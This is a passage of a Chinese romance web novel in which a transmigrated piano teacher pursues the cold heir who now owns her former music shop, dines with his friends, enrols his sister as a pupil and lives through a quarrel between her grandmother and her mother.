霜见回神抬眼看他,他身上淡淡的薄荷味让霜见瞬间清醒。
“为了五十块钱,至于吗?”
“哈?”霜见不解。
穆砚钦点开手机,语气散漫:“收款码点开,还给你。”
霜见忙摆手,“不是,我不是来要钱的,那个,我就想问一下,这家店你卖吗?”
穆砚钦狭长凤眼漫不经心扫向霜见,“有病?”
穆砚钦收起手机,牵着狗进了一间练琴室,很快琴室里传来琴声。
《Tassel》独有的空灵感回荡在整个琴行。
霜见立在门外静静聆听。
忽而,虚掩的门被一个毛茸茸的爪子扒开,如流苏飘荡的琴音骤停,萨摩哼哼唧唧出现在门内。
白犬看见霜见,在她脚边吐着舌头,摇着尾巴不停打转,霜见俯身顺了顺它的毛。
“糯糯。”男人声音低沉,隐隐透出不悦。
“干嘛?”霜见条件反射应声后随即怔住。
她眼神澄澈满是狐疑看向男人,穆砚钦也皱眉望着她,眸底的一言难尽呼之欲出。
萨摩从霜见手下挣脱,转身小跑至它主人身边坐下。
穆砚钦收回视线,抬手摸了摸它的头,“狗眼,认识人家吗?就给人摸。”
霜见羞恼起身,居然把她的小名给了狗,这不是欺负死人么。
她走进练琴室指着一侧的萨摩,“你为什么要叫它诺诺?”
霜见心中有气,但她说话的语气听不出什么愤怒,反而有点委屈。
穆砚钦挑眉,“我给我狗取什么名字还得跟你打报告?怎么,你也叫糯糯?抢你名字了?”
“我,”她气势很足的败下阵来,“我不叫。”
穆砚钦从口袋里掏出颗薄荷糖,拇指食指随意一挤,糖纸袋应声破裂。
深蓝色晶莹剔透的球形糖果被他丢进口中。
“没事就别杵这了,想要回钱就给收款码,想买琴行,”他抬起下巴点了点大门方向,“大门在那,要我送你么?”
穆砚钦这人典型软硬不吃,他不爽了,你把他马屁拍上天都没用。
琴行的事必须循序渐进,霜见话锋一转:“我是来练琴的,知音可以免费练琴。”
她刚转身,穆砚钦手机响起,霜见下意识放缓脚步。
对面具体说了什么霜见听不清,但霜见对那咋咋呼呼的声音很熟悉,是邵亭岳,楚川的朋友之一。
他和楚川还有穆砚钦高中同班,三人一直关系亲厚。
穆砚钦不耐烦回道:“知道了,马上过来。”
霜见呼吸变得急促,心跳加快,邵亭岳约穆砚钦,那是不是楚川也在。
她呆呆堵在门口,半晌没有动静,直到一片阴影笼罩下来,穆砚钦眸底含着愠色,嗓音冷淡疏离:“让开。”
她忙往旁
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让了两步,男人从她身边走过,只是萨摩扯着脖子围着她不停地嗅。
穆砚钦手里拉着牵引绳,直到拉不动才回头,他很不高兴扯了扯绳子:“糯糯,过来!”
白犬在这声呼唤下摇着尾巴屁颠颠跑过去,霜见一口气堵在胸口。
穆砚钦牵着糯糯离开,霜见随即跟在他们身后也出了知音,她看见穆砚钦上车,自己赶紧到路边拦了一辆出租车。
“师傅,跟上前面那辆,那辆...电车?”
六年时间大街上的绿牌车越来越多,很多是霜见没见过的品牌。
她指着前面的灰色车辆,“就那辆SUV。”
上次下雨她没注意穆砚钦开的什么车,今天这么一看,料想应该不是什么豪车。
她不懂车,于是问:“师傅,前面那辆车大概多少钱?”
师傅一口方言,“这车不便宜的,配置高的话要五六十万呢,小姑娘,前面开车的是不是你男朋友啊?你是去抓小三?”
师傅后面说了什么霜见没听到,只听到他说穆砚钦的车只值五十万。
穆砚钦高中毕业就陆续购置好几辆车,她一个不懂车的都知道那些都是豪车中的豪车。
前不久听楚川说他又买了辆奔驰G63,奔驰在他的那些车中已经算是够接地气了,但又听说是什么巴博斯改装版,反正又是天价。
穆砚钦从来都是拿他爸的钱当外快,他不花好像就便宜他爸了。
他经常说:“老头子的钱不花白不花,肥水不能流外人田。”
难道他爸破产了,太子爷竟然沦落到开五十万的电车了?知音就这么不赚钱吗?
司机见霜见绷着脸皱着眉一脸心事的模样,料想自己猜对了。
他捉奸经验丰富,脚踩油门开出赛车架势,霜见紧张抓住头顶扶手,随着车子不断超车左右摇晃。
出租车在一家饭店门口停下,师傅颇为失望,转脸对霜见说:“小姑娘别着急,这是饭店不是酒店,看来情况还没你想的那么糟。”
霜见视线落在穆砚钦身上,见他进了四季楼,这才心不在焉点点头,付完车费推门下车。
5. 第 5 章
四季楼是邵亭岳家的产业,不过这家店六年前还没有,应该是近几年新开的。
四季楼外观仿古设计,飞檐峭壁古色古香很有韵味。
霜见才到大门外,就有迎宾侍应生替她开门,“欢迎光临,小姐请问几位?”
霜见扫了一圈并没看见穆砚钦。
“我找人。”
“请问您的朋友贵姓?”
她是不请自来哪好意思报穆砚钦的名字,正想着要不自己点两道菜坐在大厅等,就听身后传来一道男声。
“霜见老师?”
霜见扭头,是个阳光帅气的年轻男人。
竟然是熟人,穆砚钦的表弟秦追,比他们小六岁,一直跟在穆砚钦后面,以前穆砚钦嫌弃他小还不太愿意带他玩。
但秦追性格特别好,不论穆砚钦怎么嫌弃他,他总是笑嘻嘻跟着,见谁都是哥哥长,姐姐短的,很讨喜。
她出事的夏天,秦追正好参加高考。
他居然认识霜见,还知道霜见是老师。
霜见不动声色,试探地说了一个“秦”字。
秦追很惊喜,忙接话:“秦追,我叫秦追,霜见老师还能记得我。”
毋庸置疑,秦追是和穆砚钦还有邵亭岳他们一起的,真是瞌睡来了有人送枕头。
霜见今天穿了件淡蓝色衬衫连衣裙,乌发及腰,化了淡妆,她眉眼弯弯,唇边小梨涡恰如其分散着甜气,软糯可人。
秦追看着她耳尖泛红,语气有些不自然问她:“你是和你男朋友一起的吗?”
霜见惊讶,秦追竟然还知道原主有个男朋友,她摇头,“我就是听说这家菜口味很好,但是一个人好像不太好点菜。”
秦追欣喜:“那正好,不介意的话跟我们一起吃吧,都是年轻人,大家交个朋友。”
霜见就这样跟着秦追来到了三楼雅间。
三楼每个雅间都是套房,外间餐厅,里间娱乐室,雅可能就是雅在娱乐室里多了张麻将桌。
霜见和秦追进去时餐厅桌上只有几道凉菜,人都在里间。
秦追怕霜见尴尬,笑着对她说:“这会还早,他们在打牌,你别拘谨,大家都很好相处的。”
霜见面上微笑颔首,心里全是马上可能要见到楚川的激动和紧张。
她心跳越来越快,手垂在身侧紧紧攥着,深吸一口气跟着秦追往里走。
麻将桌的桌板未被掀开,三男一女正围在一起打牌。
邵亭岳正对门而坐,他率先看见霜见和秦追。
他头发梳得锃亮,一件红色衬衫衬得他眉眼间全是游戏人间的风流,以前霜见只觉得这人太过浮夸,可现在再见他却倍感亲切。
邵亭岳看见秦追身边跟着个小姑娘,笑得揶揄,“哟!小追追这是谈对象了?你这速度让我们穷总情何以堪啊。”
秦追耳尖更红,忙解释:“亭岳哥别乱说话,就是普通朋友,霜见老师有男朋友的。”
霜见无心听两人对话,视线在不大的房间里来回扫了两圈,而后瞬间黯淡,紧握的手也徐徐松开,楚川不在。
她落寞收回视线时,意外和穆砚钦的视线对上,他眼里闪过丝错愕,不过一瞬,那丝错愕转成了厌烦,冷漠移开视线。
“哦...有男朋友啊,那也没关系,只要不是老公都还有机会。”
邵亭岳拉着他身边的女人起身走至霜见面前,伸手,“漂亮妹妹,认识一下,秦追叫我一声亭岳哥,你也可以叫我亭岳哥。”
霜见很大方和他握了握手,很不自在地叫了句:“亭岳哥,”
他们这群人数穆砚钦生日最大,仗着一月份的生日硬让所有人叫他哥。
即便这样,他们也都是同龄人,现在嘛,只有她还停留在六年前,实际年龄更是比原来还小了一岁。
这屋里其他人确实都比她大,就连原来比她小的秦追,如今都比她年长一岁。
霜见顿了下继续道:“你好,我叫阮霜见。”
邵亭岳揽过身边女人,“这是我女朋友小蕊,你们可以交个朋友。”
霜见笑着和小蕊打了声招呼。
这个小蕊已经不是她前段时间见的那个邵亭岳女友了。
当然,她的前段时间是六年前,邵亭岳是不可能和一个女人交往超过半年的,半年是他的极限。
邵亭岳扭头对还坐在麻将桌边的两人道:“人都到了,我让服务员走菜了。”
楚川不在,霜见心情低落,秦追以为她在陌生环境不自在,正好刚刚坐在麻将桌边的一个男人起身走了过来。
秦追忙给霜见介绍:“霜见老师,这位是方西河,你可以叫他西河哥。”
方西河西装革履,头发梳得一丝不苟,精英范十足,他绅士和霜见握手,再次做了遍自我介绍。
霜见没见过方西河
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,礼貌笑着回应。
这时,穆砚钦从几人身边经过,秦追一把拉住他胳膊,他急急对霜见道:“霜见老师,这是我哥,叫穆砚钦,你可以叫他砚钦哥或者钦哥。”
霜见暗自腹诽,以秦追朋友身份融入这个圈子真是“辈分”突降,见谁都是哥。
穆砚钦刚想扯开手,秦追又加大力道不让他走,“哥,这是阮霜见。”
“知道了。”穆砚钦烦躁抽手绕过霜见出了里间,期间没给霜见一个眼神。
屋里的人除了方西河和邵亭岳女友小蕊,其他人霜见都认识,她吃得还算自在,但秦追不知道,就怕她拘谨,对她很照顾。
邵亭岳握着醒酒壶道:“除了小追,其他人今天都喝点。”
霜见侧眸看向秦追,秦追忙解释:“我在市局网安支队上班,不方便喝酒。”
霜见恍然,之前秦追是报考了警校来着。
穆砚钦和方西河几乎异口同声:“我也不喝。”
邵亭岳不爽地把酒壶搁在桌上,“嘿,方总忙,整个难觅都要他管,他不喝我还能理解,穷总,你不喝是几个意思?不喝今天这顿你买单。”
“没钱。”穆砚钦回的理直气壮。
邵亭岳被他气笑了,“没钱你还这么横,吃我的喝我的,必须陪我喝一杯。”
“滚,你不配。”穆砚钦起身拿起一壶西瓜汁就给自己倒上。
邵亭岳切了一声,“行,穷总就是硬气。”
霜见抬眼偷偷打量方西河和穆砚钦。
方总她能猜到肯定是方西河,原来难觅是他的,那就能理解知音为什么只卖难觅了,毕竟他们是朋友,这样也能双赢。
可这穷总是...穆砚钦?是她想的那个“穷”吗?
他爸真破产了?
邵亭岳提着酒壶,又把目光落到霜见身上,“霜见妹妹是喝红酒还是......”
“西瓜汁。”霜见抢答。
秦追忙起身拿过穆砚钦面前的西瓜汁,穆砚钦扫了他一眼没说话。
吃得差不多,穆砚钦出去接了通电话,
回来后问秦追,“你前段时间是不是让姐给许愿换了个钢琴老师,穆遥那个老师家里有事请了段时间假,刚打电话来说后面不能来给她上课了,许愿现在钢琴是在哪上的?”
霜见正低头喝西瓜汁,就见秦追指了指自己,“就在霜见老师那上的。”
6. 第 6 章
霜见一口西瓜汁呛住,慌忙咽下,抽了张纸捂着嘴咳了起来。
“你没事吧?霜见老师。”秦追关心。
霜见一手捂着嘴,另一只手摆了摆。
穆遥她知道,是穆砚钦的妹妹。
许愿这个名字她是今天早晨在教案上看到的。
这么一说她似乎对许愿也有点印象,好像是秦追姐姐家的女儿,曾经听穆砚钦提起过。
秦追对穆砚钦道:“哥,你还记得杨畅吧,就我那个朋友,他和霜见老师还有他们另一个同学一起合开的工作室,他极力给我推荐霜见老师的课,许愿去上了后说霜见老师真的很负责,教得特别好。”
霜见才止住的咳又开始了,杨畅是除了骆天骄外另一个聆听合伙人,是教吉他的,她今天去得早还没见到人。
原来秦追和杨畅是朋友。
穆砚钦眉头皱成一团,非常嫌弃地侧身拉开与霜见距离。
“算了吧,我要给穆遥找个正经老师。”
霜见眼睛通红看向他,“我不就咳两声么?”又咳了两声,“怎么就不正经了?”
“正不正经你心里清楚。”
穆砚钦说话向来如此,他周围的人都习惯了。
可邵亭岳怕霜见一小姑娘接受不了忙出声解围:“穷总说话就这样,霜见妹妹不要跟他计较,要不是我们看他可怜包容他,他都没朋友。”
穆砚钦冷冷睇了他一眼,捞起手机站起身,“我还有事,先走了。”
他今天上身穿了件黑色缎面休闲衬衫,衬衫衣袖卷至小臂处露出劲瘦有力的腕骨,宽肩窄腰再加上无可挑剔的长相,就这么随意站在那就让人挪不开目光。
小蕊看他的眼神有点发直,邵亭岳给她又倒了杯红酒,“行了,别看了,再看也不是你的,你当初问他要微信是怎么被他虐的不记得了?”
小蕊嗔了邵亭岳一眼,“别乱说。”
霜见也在看他,不是因为他好看,而是在纠结要不要跟上他。
穆砚钦从门口衣架上捞过牵引绳,给站在门内急得直哼哼想出去的糯糯套上,头也不回走了。
他才出雅间,霜见就以自己也有事为由和众人告别,秦追要送她,她委婉拒绝,一路小跑追上穆砚钦。
穆砚钦见她过来把糯糯送上车后,斜倚在车门上问:“怎么?又准备跟踪我去哪?”
霜见底气不足否认:“没有,今天真的只是碰巧。”
穆砚钦轻嗤,“那你这又是想干什么?”
“穆砚钦,”
她叫得熟稔,穆砚钦却不由皱起眉打断她接下去的话,“小姑娘怎么不太懂礼貌。”
霜见一顿,想起之前秦追对他的介绍,硬着头皮叫了声:“砚钦哥。”
她唇角漾起好看的弧度,眉眼在阳光下明媚耀眼。
“难觅原来是刚刚那位方先生的啊,你放心,你如果愿意把勤业路那家知音卖给我,我保证也只卖难觅钢琴。”
穆砚钦拒绝得果断:“你想多了,琴行不转不卖。”
霜见抿了抿唇,又道:“你不是找钢琴老师吗?我很专业的,可以提供免费试听课,你满意再报名也不迟,我给你友情价。”
他拉开车门,语气不屑:“不是什么人都配给我妹妹做老师的。”
他弯腰钻进车里,就在霜见以为他要扬长而去时,他又降下车窗,“伸手。”
霜见茫然,但还是听话伸出手,就见穆砚钦把一张折成细长条的五十元现金放到她手上,“不欠你了,别再跟着我,阴魂不散。”
霜见回到聆听,骆天骄正在上课。
她也终于见到了聆听的另外两位同事,杨畅、胡春玲。
胡春玲是杨畅妈妈,原主高中时去杨畅家吃过饭,见过她,所以霜见对她有印象。
她很早就和杨畅爸爸离婚,分了不少财产,带着杨畅独自生活。
现在胡春玲是聆听的前台兼后勤。
母子俩正站在前台聊天,见霜见进来,忙过来询问霜见身体状况。
霜见和两人聊了两句,进了自己教室认真备课。
她虽不是茱莉亚音乐学院毕业,但也考进国内最好的音乐院校。
她从小学习钢琴,学钢琴的孩子没什么童年,睁眼上学,闭眼弹琴,她的日子枯燥乏味。
对霜见而言,教钢琴不是难事,但如何与家长沟通相处,她有些头痛。
她当初开知音特地准备了两间免费练琴室都不曾开班授课,就是不想接触形形色色的家长。
现在要面对学生家长,她内心有点抗拒。
但是现在没办法,如今她只能尽自己最大努力去做好这件事。
弹钢琴这件事是她刻进骨子里的本能,一旦上课,就会不自觉沉浸进去。
第二节课,霜见就已经完全进入状态。
前两节课中间只有十分钟休息时间
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,这十分钟还要和当堂的琴童家长沟通孩子上课情况,几乎没有休息时间。
大病初愈,霜见满是疲态。
两节课后终于能休息半小时。
这半小时是用来吃晚饭的,她没有经验,既没带饭,也没提前点外卖。
这会饿得前胸贴后背。
她出了教室,准备去便利店买点面包垫垫,胡春玲看见她招呼道:“霜见,你是不是忘记点外卖了,来和我们一起吃吧,我今天带的多。”
霜见正准备说不用,就看见陈芳妹提着保温袋出现在大门口。
霜见很诧异,“外婆,你怎么来了?”
“还我怎么来了,我不送饭,你晚上能吃饭就怪了。”
胡春玲声音清脆和陈芳妹说:“婶来给霜见送饭啦,我刚还喊她跟我和杨畅一起吃呢。”
陈芳妹扬起笑脸说:“麻烦你了,你们吃吧。”
说完她提着饭盒往霜见教室走,每间教室靠门处都放置了一张矮柜,陈芳妹把饭盒放在矮柜上,一一打开。
“快吃饭。”语气没有刚刚和胡春玲说话的半分和蔼。
“谢谢外婆。”她在矮柜前坐下。
吃了一口现炸的牛肉丸夸赞:“这也太香了吧,外面饭店大厨都没外婆这手艺。”
陈芳妹哼了声,压着嘴角道:“只要给你吃,那嘴说的比唱的都好听。”
她划着手出了教室,不一会儿提着个拖把进来。
老太太又瘦又矮,弯腰拖起地来只剩小小一团。
浅色地砖恢复亮泽,她拎着拖把出门朝着胡春玲喊:“小胡,我去拖练琴室,你下班前把大厅卫生搞一下就行。”
教室外的公共区域卫生由胡春玲负责,陈芳妹帮她分担,她自然高兴,声音里都是笑意:“哎,谢谢婶。”
霜见没得到过什么长辈这般朴实的偏爱。
即使很爱她的外公也只是在她成长过程中给她言语上的鼓励,和物质上的支持。
陈芳妹给的爱质朴又纯粹,这一刻她说不上心里是什么滋味,只越发觉得口中饭菜前所未有的美味。
等霜见吃完,陈芳妹把教室里的垃圾袋和空饭盒拾掇着一起带走了。
霜见晚上还有两节课,最后一节课时秦追出现了,他身边跟着两个十几岁的小姑娘。
一个她不认识,应该是许愿。
另一个让她有点意外,是穆砚钦的妹妹穆遥。
7. 第 7 章
穆遥一岁时秦书棋和穆砚钦爸爸离婚,她带走穆遥。
穆遥九岁时,秦书棋再婚就又把穆遥送回穆家。
霜见见过儿时的穆遥几次。
秦追给霜见介绍:“霜见老师,这就是穆遥,她想来听听你的课。”
缘分很奇妙,她曾经和秦书棋学过两个月的钢琴,当时秦书棋的肚子里就是穆遥。
而现在,穆遥亭亭玉立站在自己面前,自己即将成为她的钢琴老师。
霜见笑容亲和,对两个小姑娘道:“你们两个一起进来吧。”
霜见长得漂亮,专业知识扎实,她又是个情绪特别稳定的人,在教孩子这件事上,她从不觉得大声吼叫就能有用,说起话来轻声细语耐心十足。
下课后,穆遥毫不犹豫对秦追说:“秦追哥,我就上霜见老师的课。”
“那你打个电话跟哥说一下,他都不知道我带你来。”
“不用,我自己有钱。”说着她掏出一张银行卡,“霜见老师可以刷卡吗?”
正常来说霜见应该要和对方家长确认报名的事,但她有自己的私心,一旦问穆砚钦,对方肯定拒绝。
她只是一再和穆遥确认后,就给穆遥办了所有手续。
“你放心,你后面如果觉得不适应,可以随时退款。”
穆遥不以为意,“不会,我很喜欢霜见老师的课。”
穆遥和许愿同一个初中,穆遥初三,许愿初一,今天穆砚钦忙,就让秦追顺道把穆遥也给接回来。
秦追一路上向穆遥推荐霜见的课,本想着让她来试听感受一下。
谁知道穆遥这么冲动,直接交了钱。
秦追哪敢做穆砚钦的主,当下就拨通穆砚钦的电话,“哥,跟你说个事。”
“说。”
“我想着正好许愿要来霜见老师这上课,就带着穆遥一起过来听听。”他故作轻松,语气愉悦:“穆遥上完试听课可满意了,她说她特别喜欢霜见老师的课。”
“说重点!”
“她自己报名了。”
说完,秦追脖子下意识一缩,那头的穆砚钦陷入沉默,只剩沉沉呼吸,他无需言语,秦追已经备受煎熬。
良久后,穆砚钦压着怒意道:“等我,马上过去。”
许愿的课是最后一节,上完已经将近晚上九点。
其他人陆续下班,只剩霜见和秦追带着两个孩子等穆砚钦。
霜见内心忐忑,她太知道穆砚钦是个什么样的人,没经过他的同意就接受穆遥报名,后果可想而知。
她今天准备装鹌鹑,任由他骂个痛快,只要他不退课就行。
四人在长凳上乖乖坐成一排,当穆砚钦的身影裹着夜色出现在门外时,四人齐刷刷看过去。
他表情很难看,脚步声如同鼓点,带着莫名的压迫感。
四人一时僵住,谁都不敢做出头鸟。
穆砚钦目光在四人身上迅速扫过,“一哑哑一窝?”
穆遥无奈起身,拉起穆砚钦手撒娇:“哥,你就让我跟霜见老师上课吧,我喜欢上她的课。”
穆砚钦甩开她,“才一节课就喜欢上她的课,她是给你下了什么迷魂药?”
秦追紧跟其上,“哥,霜见老师上课真的很好。”
“真的,砚钦舅舅,霜见老师琴弹得可好了,人又很温柔,你就让遥遥小姨跟我一起上嘛。”许愿殿后。
三人成虎,底气瞬间足了起来,他们连拖带拽把穆砚钦拉到公示栏前。
“砚钦舅舅你看,霜见老师可是茱莉亚音乐学院毕业的,她还获过好多奖呢。”许愿指着公示栏上霜见的个人介绍。
霜见原本已经做好被穆砚钦骂一通的准备,结果有这三人冲锋陷阵,她幸免于难。
穆砚钦火力全开对着三人一顿输出。
最后在穆遥的一句“你别管我,反正我花的又不是你的钱”后,彻底哑火。
霜见看时机差不多,小心翼翼上前,“这么晚了,你们肚子饿了吧?我请你们吃夜宵,算是感谢大家支持。”
穆砚钦嘴里嚼着薄荷糖,双手插兜反问:“你哪只眼睛看见我支持你了,我一直在反对看不出来吗?”
霜见笑容微僵,“那我更应该请你吃饭。”
穆砚钦没理她,在聆听逛了一圈,霜见跟在他身后,狗腿十足地给他介绍聆听。
等一圈绕回来,穆遥看出穆砚钦态度明显软化,赶紧说:“哥,我饿了,想吃那家鸡汤面。”
霜见眼睛亮晶晶弯成月牙,小梨涡缀在唇角恬静乖巧,她抱臂举手,动作傻气,“我请,我请你们吃面。”
穆砚钦目光微顿,手指不自觉收紧。
霜见对
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上他的视线,歪着脑袋询问:“可以吗?”
穆砚钦移开视线,对一旁的穆遥道:“你看她那样,傻透了,现在反悔还来得及。”
穆遥笑嘻嘻推着穆砚钦往外走,扭头对霜见说:“霜见老师,锁门,请我们吃面条。”
鸡汤面馆在一个很窄的巷子里,他们车子停在外面大路上,要步行进去。
巷子窄小,只够两人并行,许愿和穆遥并排走在前面,霜见和秦追紧跟其后,穆砚钦一人被丢在最后,不远不近,不情不愿隐在黑暗里。
小店没有LED灯箱,晚上完全看不见招牌,要不是穆遥他们带路,霜见压根找不到。
店里就六张长桌靠墙摆放。
现在只剩一张空桌。
穆遥和许愿坐一边,秦追和霜见坐对面。
穆砚钦站那看着自然落座的四人,绷着脸拉过旁边的一张凳子,坐在过道一侧。
这家店霜见没来过,店家菜品单一只有鸡汤面,能点的只有大碗或小碗,外加一些配菜。
其他人看了会墙上贴着的巨大红色菜单,各自去窗口点面。
只有穆砚钦像是没听见霜见的询问,只顾低头玩手机,一副等人伺候的姿态。
霜见无奈只能去给他点。
穆砚钦不吃动物内脏,她给他点了大碗面外加鸡腿和鸡翅
霜见站在窗口前看了眼穆砚钦,见他没看她这边,又低声对老板说:“老板这碗不要放姜。”
穆砚钦要是吃到姜没准能把整碗面倒了。
老板笑着回应:“我家面条没有姜。”
霜见点头道谢,把五人的单提前买了。
面条很快送来,味道确实不错,霜见喜欢吃面食,面条、馄饨、饺子她都爱。
她爱吃面食还有个原因就是爱吃醋,她觉得加了醋的面条馄饨格外好吃。
霜见迫不及待尝了两口原味馄饨,就开始往里倒醋,黄澄澄的鸡汤面瞬间变成了红卤面。
穆砚钦拨着碗里符合自己口味的面并没有多想,却在霜见倒醋时,眉头深深蹙起看向她。
霜见感受到一道灼热的视线,转脸看向他,“怎么了?你也要加?”
“你怎么不直接倒碗醋喝?”
说完两人手中筷子同时顿住——
这句话穆砚钦曾对阮诺说过。
8. 第 8 章
霜见吃了一口面,装作若无其事回道:“因为老板没给我碗。”
和当初一模一样的回答。
穆砚钦眸光意味不明落在霜见身上。
须臾,他起身走至到窗口和老板说了什么,老板递给他一个空碗。
他把碗扔到霜见面前,“有了,喝吧。”
霜见懵了,和当初一样的操作,依旧可恶。
秦追干笑着缓和气氛,“哥,别开玩笑了。”他拿过碗,“我嫌面烫,这碗给我凉面。”
霜见没再说话,低头吃面,忽然一阵铃声响起。
她从包里摸出手机,来电显示“纪琛融”。
纪琛融是陈芳妹介绍给原主的对象,看聊天记录,两人大概交往了两、三个月,但因为工作以及休息时间不一致,聚少离多。
这段时间纪琛融在隔壁市学习不在上虞,霜见还没见过。
霜见说了声抱歉,出了面馆接通电话。
纪琛融回来了,刚下高速,一再要求想见霜见一面,霜见只得把地址给了他。
霜见觉得尴尬,不想让纪琛融和穆砚钦他们碰面。
她回到面馆让几人慢慢吃,自己便到路边等待纪琛融。
约莫十来分钟,一辆白色轿车停在霜见面前。
车窗降下,男人长相清俊,鼻梁上架着副无框眼镜,书卷气很浓,和高中语文老师的身份很吻合。
“上车。”他探头说。
霜见拖拖拉拉绕到另一边欲拉开副驾驶门,就听许愿清脆的一声“霜见老师”。
吃完面的四人从巷口出来,都朝她这边望过来。
她笑着颔了颔首,和几人再次道别后上了车。
纪琛融目光落在穆砚钦身上,问霜见:“你学生家长?”
“嗯。”
“很年轻啊。”
“嗯,是学生哥哥还有小舅舅。”
纪琛融对于霜见来说完全是个陌生人,简短对话结束,车子陷入诡异的安静中。
车子行驶一段后,纪琛融出声道:“最近微信上找你,你都没怎么回复,身体好些没?”
霜见摸了摸鼻子,笑得牵强,“好了,我最近有点忙,经常看到消息都很晚了。”
“没关系的,不管多晚回复,我都会很高兴。”
霜见很局促地前后小幅度晃动着身体。
她看了眼风尘仆仆的人,终是把分手的话咽回肚子里。
他毕竟是原主喜欢的人,等合适的机会再说吧。
车在花语庭府大门外停下,霜见尴尬挤出笑脸,刚想道别就见纪琛融突然倾身靠近,她忙向后一仰,解开安全带,推开车门,匆匆说了句:“太晚了,你也累了,早点回去休息吧。”逃也似地离开。
-
霜见洗完澡躺在床上,迟迟不能入睡。
穿越来的前两天可能是生病的缘故,身体虚弱,晚上沾床就睡。
现在缓过劲,各种头疼的问题接踵而至,再加上陪她睡了二十年的布偶娃娃不在身边,睡意全无,一夜辗转反侧,凌晨三四点才疲惫进入浅眠状态。
还没睡多久又被陈芳妹的声音吵醒,她凝神听了会,和陈芳妹说话的应该是原主的妈妈阮常梦。
原主自小就没有爸爸,阮常梦和陈芳妹告诉她,她的爸爸在她还没出生时就因病去世了,但在霜见仅存的原主记忆里,原主从未去墓前拜祭过父亲。
原主三岁时,阮常梦把她丢给住在农村的陈芳妹,自己外出打工。
陈芳妹是个农村老太太没什么文化,但是她认死理,城市教育比农村好。
原主快上小学时,她带着原主来上虞找到阮常梦,逼着阮常梦给她们祖孙二人在上虞租了房子,找了学校。
阮常梦后来在外面混得很不错,不是她有多努力,能力有多强,而是她身边的男人就跟韭菜似的,割了一茬又来一茬,常换常新,还个个都不差钱。
从某种程度上来说也是她的一种本事。
只不过陈芳妹很不耻这种本事。
她时常抱怨阮常梦不是个东西,把小孩扔给她,人家老了享福,她老了还得继续受罪。
即便如此,她也从未真的要把原主交给阮常梦。
一方面怕原主跟阮常梦学坏,另一方面她实在不放心让原主和陌生男人生活在一起。
原主被这个老太太保护得太好,单纯善良,性子温软,几乎没什么脾气。
就连第一任男友纪琛融都是陈芳妹给她张罗来的,乖到霜见都甘拜下风。
陈芳妹这些年除了问阮常梦要钱,别的方面很少找她。
霜见看过现在住的这套房子的房产证,上面是自己的名字,应该也是老太太帮原主要来的。
包括小时候原主学钢琴,买钢琴,全是陈芳妹逼着阮常梦付的钱。
原主和阮常梦没什么母女情分,但是因为有陈芳妹在,阮常梦在物质生活上没有亏待过原主。
霜见起床耳朵贴在门上听了会母女二人对话。
陈芳妹声如洪钟,房门都在震颤。
“霜见她知道我一个老太婆去医院哪哪都不认识,宁愿自己在家吃药死扛也不让我送她去医院,打你电话,让你带她去医院看看,不是忙就是有事,你是美国总统还是怎么的?”
“妈,我是真有事,你不是给她介绍了个男朋友吗?一天到晚说那个小什么,纪还是齐来着的有多好,让他来送下不就好了?”
陈芳妹扯着嗓子吼:“纪,小纪姓纪,他出差不在上虞,你一个当妈的都不管自己女儿,还指望别人,真是稀奇。”
“唉呀,行了妈,霜见这不是也没事吗?”
“没事你还不滚,别回来惹我眼。”
霜见垂下眼睫,轻轻叹息,哪里没事,真正的霜见已经死了。
她推开房门,就看见穿着考究贵妇打扮的阮常梦,她看上去很年轻,个头像陈芳妹,穿着高跟鞋也不算高。
霜见叫了声:“妈妈。”
毕竟不是亲妈,她声如蚊蝇。
反而这副样子和原主平时状态不谋而合,阮常梦性子像陈芳妹,刚烈泼辣,十分不喜霜见温软性格。
她瞥了眼霜见,不咸不淡“嗯”了声。
陈芳妹看见霜见出来冲着她挤眉弄眼,霜见莫名其妙,就听陈芳妹对阮常梦说:“霜见都这么大了,现在年轻人都有车,你也给她买一辆。”
阮常梦闻言立马从沙发上蹿起,指着霜见,“妈,她都多大了,又不是没工作,要车自己不会买吗?”
陈芳妹脖子一梗,“多大也是你女儿,你比她还大呢,刚不还叫我一声妈。”
霜见在陈芳妹身边坐下,揽住在发火边缘游走的陈芳妹,“外婆,我不要车。”
那天车祸细节还历历在目,她暂时不敢开车。
老太太挣脱霜见站起身,气势十足叉着腰,“要,为什么不要,五十万的车,你给钱就行,霜见自己买。”
“她成人了,我现在没有抚养她的义务,我只要赡养你就够了。”
陈芳妹一屁股又坐了回去,“那行,你养吧,我要五十万。”
阮常梦胸前莹润饱满的翡翠吊坠随着她急促呼吸上
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下起伏,她气得高跟鞋快把地板钻个洞,咬牙切齿对陈芳妹道:“你个老太婆就作吧,你要不是我妈,我管你个屁。”
高跟鞋咚咚咚磕在地板上。
陈芳妹咻地一下站起来,光着脚小跑跟在后面,边走边骂:“你进我家凭什么不脱鞋,地板磕坏了你得给我赔,还管我个屁,要不是老娘一次次管你,你死都不知道怎么死的,龙王爷造反,翻了天了你还。”
“砰!”门被阮常梦重重带上。
陈芳妹猛地推开,指着门外等电梯的阮常梦道:“你欠我的这辈子都还不清,老娘我就要五十万,你要是不给我,我跟你没完。”
阮常梦没再和陈芳妹顶嘴,匆匆从楼梯下了楼。
陈芳妹哼了声,关上门往回走,看见霜见呆愣坐在沙发上又是一股无名火。
“你个没出息的,还不要,我告诉你,不要也得要,她今天来可是说了,她想和现在这个结婚,现在再不要,等她真结了婚,那她的钱可就要变成婚后财产了,你以后再想要就要跟她继子继女分了,谁知道那男的有几个孩子。”
陈芳妹平时家长里短还有法治类节目没少看,她自认为自己懂得很。
霜见坐得僵硬,浑身汗毛颤栗,她从小就是在父母的争吵中长大的,一直以来最怕别人吵架,看见别人扯着脖子吼会生理性紧张。
陈芳妹见她不说话,哼了一声气呼呼进了自己卧室。
霜见缓过劲去找陈芳妹,次卧的装修风格和外面格格不入,老式的架子床和衣柜,靠窗位置放着个亮黄色的老式一头沉写字台。
写字台上铺着白色纱布,纱布上放着几张霜见的单人照,用玻璃压着。
笨重的台式电扇咯吱咯吱左右摇着头。
霜见脱鞋上床,躺在正生闷气的陈芳妹身边哄她:“外婆别气了,妈妈说的也没错,我都工作了,要买车也应该我自己买。”
陈芳妹不说话,气得胸口深深起伏着。
“等我赚了钱,给外婆买大别墅,带院子的那种,可以种菜。”
陈芳妹身体放松了些,低声抱怨:“还大别墅,你一天到晚屁还没放屎就出来了。”
霜见笑眯眯从身后抱住老太太,脑袋贴在陈芳妹后背,“你得相信你孙女,等我有了钱最享福的一定是你。”
老太太闷着声偷笑,霜见贴在她后背听得清楚,倏地,老太太掀开霜见手臂,“坏了,坏了,坏了。”
